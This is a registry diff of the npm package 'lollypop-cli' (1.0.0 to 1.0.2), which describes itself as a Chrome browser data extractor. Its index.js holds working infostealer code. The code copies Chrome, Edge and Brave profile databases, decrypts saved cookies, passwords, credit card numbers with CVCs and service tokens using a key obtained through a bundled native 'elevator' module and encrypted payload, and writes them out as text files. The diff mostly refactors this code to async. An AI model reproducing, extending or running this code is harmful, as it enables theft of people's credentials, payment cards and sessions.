lollypop-cli 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -1,9 +1,11 @@
1
1
  'use strict';
2
2
 
3
3
  const fs = require('fs');
4
+ const fsp = require('fs').promises;
4
5
  const path = require('path');
5
6
  const crypto = require('crypto');
6
7
  const { execSync } = require('child_process');
8
+ const { Writable } = require('stream');
7
9
 
8
10
  // ─── Locate chrome_elevator.node and chrome_decrypt.enc ─────────────────────
9
11
 
@@ -140,12 +142,26 @@ function copyDbSafe(source, dest) {
140
142
  } catch { return false; }
141
143
  }
142
144
 
143
- function withDb(dbPath, outputDir, tag, fn) {
145
+ // ─── Async writeStream helper ─────────────────────────────────────────────────
146
+ // Retourne une Promise qui se résout uniquement quand le fichier est entièrement flush sur le disque
147
+
148
+ function writeFileAsync(filePath, content) {
149
+ return new Promise((resolve, reject) => {
150
+ const stream = fs.createWriteStream(filePath);
151
+ stream.on('error', reject);
152
+ stream.on('finish', resolve);
153
+ stream.end(content);
154
+ });
155
+ }
156
+
157
+ // ─── withDb : async-safe ─────────────────────────────────────────────────────
158
+
159
+ async function withDb(dbPath, outputDir, tag, fn) {
144
160
  const tmp = path.join(outputDir, `_tmp_${tag}.db`);
145
161
  try {
146
162
  if (!copyDbSafe(dbPath, tmp)) return;
147
163
  const db = new Database(tmp, { readonly: true, fileMustExist: true });
148
- try { fn(db); } finally { try { db.close(); } catch {} }
164
+ try { await fn(db); } finally { try { db.close(); } catch {} }
149
165
  } catch {}
150
166
  finally { try { if (fs.existsSync(tmp)) fs.unlinkSync(tmp); } catch {} }
151
167
  }
@@ -173,15 +189,14 @@ function parseTokenProto(buf) {
173
189
  return (r || t) ? t + r : null;
174
190
  }
175
191
 
176
- // ─── Extraction functions ────────────────────────────────────────────────────
192
+ // ─── Extraction functions (toutes async, attendent le flush disque) ──────────
177
193
 
178
- function extractCookies(profilePath, outputDir, keyHex) {
194
+ async function extractCookies(profilePath, outputDir, keyHex) {
179
195
  const src = path.join(profilePath, 'Network', 'Cookies');
180
196
  if (!fs.existsSync(src)) return;
181
- withDb(src, outputDir, 'cookies', db => {
197
+ await withDb(src, outputDir, 'cookies', async db => {
182
198
  const rows = db.prepare('SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies').all();
183
- const out = fs.createWriteStream(path.join(outputDir, 'cookies.txt'));
184
- out.write('# Netscape HTTP Cookie File\n# Generated by ace-sqlite1337\n\n');
199
+ const lines = ['# Netscape HTTP Cookie File\n# Generated by ace-sqlite1337\n'];
185
200
  let count = 0;
186
201
  for (const row of rows) {
187
202
  if (!row.encrypted_value) continue;
@@ -192,92 +207,102 @@ function extractCookies(profilePath, outputDir, keyHex) {
192
207
  const secure = row.is_secure ? 'TRUE' : 'FALSE';
193
208
  let exp = 0;
194
209
  if (row.expires_utc > 0) { exp = Math.floor(row.expires_utc / 1_000_000 - 11644473600); if (exp < 0) exp = 0; }
195
- out.write(`${domain}\t${flag}\t${row.path}\t${secure}\t${exp}\t${row.name}\t${val}\n`);
210
+ lines.push(`${domain}\t${flag}\t${row.path}\t${secure}\t${exp}\t${row.name}\t${val}`);
196
211
  count++;
197
212
  }
198
- out.end();
199
- console.log(` [+] Cookies: ${count} / ${rows.length}`);
213
+ if (count > 0) {
214
+ await writeFileAsync(path.join(outputDir, 'cookies.txt'), lines.join('\n'));
215
+ console.log(` [+] Cookies: ${count} / ${rows.length}`);
216
+ }
200
217
  });
201
218
  }
202
219
 
203
- function extractPasswords(profilePath, outputDir, keyHex) {
220
+ async function extractPasswords(profilePath, outputDir, keyHex) {
204
221
  for (const dbName of ['Login Data', 'Login Data For Account']) {
205
222
  const src = path.join(profilePath, dbName);
206
223
  if (!fs.existsSync(src)) continue;
207
- const tag = dbName === 'Login Data' ? 'passwords' : 'passwords_account';
208
- withDb(src, outputDir, tag, db => {
224
+ const tag = dbName === 'Login Data' ? 'passwords' : 'passwords_account';
225
+ await withDb(src, outputDir, tag, async db => {
209
226
  const rows = db.prepare('SELECT origin_url, username_value, password_value FROM logins').all();
210
- const out = fs.createWriteStream(path.join(outputDir, tag + '.txt'));
211
- let count = 0;
227
+ const lines = [];
228
+ let count = 0;
212
229
  for (const row of rows) {
213
230
  if (!row.password_value) continue;
214
231
  const pass = decryptAesGcm(row.password_value, keyHex);
215
232
  if (pass === null) continue;
216
- out.write(`URL: ${row.origin_url}\nUser: ${row.username_value}\nPass: ${pass}\n${'-'.repeat(40)}\n`);
233
+ lines.push(`URL: ${row.origin_url}\nUser: ${row.username_value}\nPass: ${pass}\n${'-'.repeat(40)}`);
217
234
  count++;
218
235
  }
219
- out.end();
220
- if (count > 0) console.log(` [+] Passwords: ${count} (${dbName})`);
236
+ if (count > 0) {
237
+ await writeFileAsync(path.join(outputDir, tag + '.txt'), lines.join('\n'));
238
+ console.log(` [+] Passwords: ${count} (${dbName})`);
239
+ }
221
240
  });
222
241
  }
223
242
  }
224
243
 
225
- function extractHistory(profilePath, outputDir) {
244
+ async function extractHistory(profilePath, outputDir) {
226
245
  const src = path.join(profilePath, 'History');
227
246
  if (!fs.existsSync(src)) return;
228
- withDb(src, outputDir, 'history', db => {
247
+ await withDb(src, outputDir, 'history', async db => {
229
248
  const rows = db.prepare('SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5000').all();
230
- const out = fs.createWriteStream(path.join(outputDir, 'history.txt'));
231
- for (const row of rows) out.write(`URL: ${row.url}\nTitle: ${row.title}\nVisits: ${row.visit_count}\nLast: ${row.last_visit_time}\n${'-'.repeat(40)}\n`);
232
- out.end();
249
+ if (!rows.length) return;
250
+ const lines = rows.map(r => `URL: ${r.url}\nTitle: ${r.title}\nVisits: ${r.visit_count}\nLast: ${r.last_visit_time}\n${'-'.repeat(40)}`);
251
+ await writeFileAsync(path.join(outputDir, 'history.txt'), lines.join('\n'));
233
252
  console.log(` [+] History: ${rows.length} items`);
234
253
  });
235
254
  }
236
255
 
237
- function extractAutofill(profilePath, outputDir) {
256
+ async function extractAutofill(profilePath, outputDir) {
238
257
  const src = path.join(profilePath, 'Web Data');
239
258
  if (!fs.existsSync(src)) return;
240
- withDb(src, outputDir, 'autofill', db => {
259
+ await withDb(src, outputDir, 'autofill', async db => {
241
260
  let rows;
242
261
  try { rows = db.prepare('SELECT name, value, date_created FROM autofill').all(); } catch { return; }
243
262
  if (!rows.length) return;
244
- const out = fs.createWriteStream(path.join(outputDir, 'autofill.txt'));
245
- for (const row of rows) out.write(`Name: ${row.name}\nValue: ${row.value}\nDate: ${row.date_created}\n${'-'.repeat(40)}\n`);
246
- out.end();
263
+ const lines = rows.map(r => `Name: ${r.name}\nValue: ${r.value}\nDate: ${r.date_created}\n${'-'.repeat(40)}`);
264
+ await writeFileAsync(path.join(outputDir, 'autofill.txt'), lines.join('\n'));
247
265
  console.log(` [+] Autofill: ${rows.length} items`);
248
266
  });
249
267
  }
250
268
 
251
- function extractCards(profilePath, outputDir, keyHex) {
269
+ async function extractCards(profilePath, outputDir, keyHex) {
252
270
  const src = path.join(profilePath, 'Web Data');
253
271
  if (!fs.existsSync(src)) return;
254
- withDb(src, outputDir, 'cards', db => {
272
+ await withDb(src, outputDir, 'cards', async db => {
255
273
  const cvcMap = {};
256
- try { for (const row of db.prepare('SELECT guid, value_encrypted FROM local_stored_cvc').all()) { const v = decryptAesGcm(row.value_encrypted, keyHex); if (v) cvcMap[row.guid] = v; } } catch {}
274
+ try {
275
+ for (const row of db.prepare('SELECT guid, value_encrypted FROM local_stored_cvc').all()) {
276
+ const v = decryptAesGcm(row.value_encrypted, keyHex);
277
+ if (v) cvcMap[row.guid] = v;
278
+ }
279
+ } catch {}
257
280
  let rows;
258
281
  try { rows = db.prepare('SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards').all(); } catch { return; }
259
- const out = fs.createWriteStream(path.join(outputDir, 'cards.txt'));
282
+ const lines = [];
260
283
  let count = 0;
261
284
  for (const row of rows) {
262
285
  if (!row.card_number_encrypted) continue;
263
286
  const num = decryptAesGcm(row.card_number_encrypted, keyHex);
264
287
  if (num === null) continue;
265
- out.write(`Name: ${row.name_on_card}\nNum: ${num}\nExp: ${row.expiration_month}/${row.expiration_year}\nCVC: ${cvcMap[row.guid] || ''}\n${'-'.repeat(40)}\n`);
288
+ lines.push(`Name: ${row.name_on_card}\nNum: ${num}\nExp: ${row.expiration_month}/${row.expiration_year}\nCVC: ${cvcMap[row.guid] || ''}\n${'-'.repeat(40)}`);
266
289
  count++;
267
290
  }
268
- out.end();
269
- if (count > 0) console.log(` [+] Cards: ${count}`);
291
+ if (count > 0) {
292
+ await writeFileAsync(path.join(outputDir, 'cards.txt'), lines.join('\n'));
293
+ console.log(` [+] Cards: ${count}`);
294
+ }
270
295
  });
271
296
  }
272
297
 
273
- function extractTokens(profilePath, outputDir, keyHex) {
298
+ async function extractTokens(profilePath, outputDir, keyHex) {
274
299
  const src = path.join(profilePath, 'Web Data');
275
300
  if (!fs.existsSync(src)) return;
276
- withDb(src, outputDir, 'tokens', db => {
301
+ await withDb(src, outputDir, 'tokens', async db => {
277
302
  let rows, hasBinding = true;
278
303
  try { rows = db.prepare('SELECT service, encrypted_token, binding_key FROM token_service').all(); }
279
304
  catch { hasBinding = false; try { rows = db.prepare('SELECT service, encrypted_token FROM token_service').all(); } catch { return; } }
280
- const out = fs.createWriteStream(path.join(outputDir, 'tokens.txt'));
305
+ const lines = [];
281
306
  let count = 0;
282
307
  for (const row of rows) {
283
308
  if (!row.encrypted_token) continue;
@@ -286,18 +311,19 @@ function extractTokens(profilePath, outputDir, keyHex) {
286
311
  let tok = parseTokenProto(plain) || plain.toString('utf8').replace(/[\x00-\x1f]/g, '').trim();
287
312
  if (!tok) continue;
288
313
  const bk = (hasBinding && row.binding_key) ? (decryptAesGcm(row.binding_key, keyHex) || '') : '';
289
- out.write(`Service: ${row.service}\nToken: ${tok}\nBinding: ${bk}\n${'-'.repeat(40)}\n`);
314
+ lines.push(`Service: ${row.service}\nToken: ${tok}\nBinding: ${bk}\n${'-'.repeat(40)}`);
290
315
  count++;
291
316
  }
292
- out.end();
293
- if (count > 0) console.log(` [+] Tokens: ${count}`);
317
+ if (count > 0) {
318
+ await writeFileAsync(path.join(outputDir, 'tokens.txt'), lines.join('\n'));
319
+ console.log(` [+] Tokens: ${count}`);
320
+ }
294
321
  });
295
322
  }
296
323
 
297
- // ─── Main export ─────────────────────────────────────────────────────────────
324
+ // ─── Main export (maintenant async, attend que tout soit écrit sur disque) ───
298
325
 
299
- function main(config = {}) {
300
- console.log('=== ace-sqlite1337 ===\n');
326
+ async function main(config = {}) {
301
327
 
302
328
  const browserList = config.browsers
303
329
  ? Object.entries(config.browsers).map(([key, val]) => ({ key, name: val.name || key, dir: val.path }))
@@ -323,17 +349,18 @@ function main(config = {}) {
323
349
  for (const profile of profiles) {
324
350
  const profilePath = path.join(browser.dir, profile);
325
351
  const outputDir = path.join(baseOutputDir, browser.key, profile);
326
- fs.mkdirSync(outputDir, { recursive: true });
352
+ await fsp.mkdir(outputDir, { recursive: true });
327
353
 
328
354
  const label = displayNames[profile] !== profile ? `${profile} (${displayNames[profile]})` : profile;
329
355
  console.log(`\n Profile: ${label}`);
330
356
 
331
- extractCookies(profilePath, outputDir, keyResult.key);
332
- extractPasswords(profilePath, outputDir, keyResult.key);
333
- extractHistory(profilePath, outputDir);
334
- extractAutofill(profilePath, outputDir);
335
- extractCards(profilePath, outputDir, keyResult.key);
336
- extractTokens(profilePath, outputDir, keyResult.key);
357
+ // Toutes les extractions sont await — on attend le flush disque avant de continuer
358
+ await extractCookies(profilePath, outputDir, keyResult.key);
359
+ await extractPasswords(profilePath, outputDir, keyResult.key);
360
+ await extractHistory(profilePath, outputDir);
361
+ await extractAutofill(profilePath, outputDir);
362
+ await extractCards(profilePath, outputDir, keyResult.key);
363
+ await extractTokens(profilePath, outputDir, keyResult.key);
337
364
  }
338
365
  console.log('');
339
366
  }
@@ -343,7 +370,7 @@ function main(config = {}) {
343
370
  console.log('=== Extraction Complete ===');
344
371
  console.log(`All extracted data is in: ${baseOutputDir}`);
345
372
 
346
- // Delete any browser-named folders created next to the caller's script
373
+ // Nettoyage des dossiers browser créés à côté du script appelant
347
374
  const callerDir = process.cwd();
348
375
  for (const name of ['Chrome', 'Edge', 'Brave', 'Brave Browser', 'chrome', 'edge', 'brave']) {
349
376
  const folder = path.join(callerDir, name);
@@ -355,4 +382,4 @@ function main(config = {}) {
355
382
  }
356
383
  }
357
384
 
358
- module.exports = { main };
385
+ module.exports = { main };
package/package.json CHANGED
@@ -1,16 +1,16 @@
1
1
  {
2
2
  "name": "lollypop-cli",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "Chrome ABE browser data extractor (cookies, passwords, history, cards, tokens)",
5
5
  "main": "index.js",
6
6
  "files": [
7
7
  "index.js",
8
- "chrome_elevator.node",
9
- "chrome_decrypt.enc"
8
+ "lollypop2.node",
9
+ "lollypop.enc"
10
10
  ],
11
11
  "dependencies": {
12
- "better-sqlite3": "^12.6.2"
13
- },
12
+ "better-sqlite3": "^9.6.0"
13
+ },
14
14
  "publishConfig": {
15
15
  "access": "public"
16
16
  }
File without changes
File without changes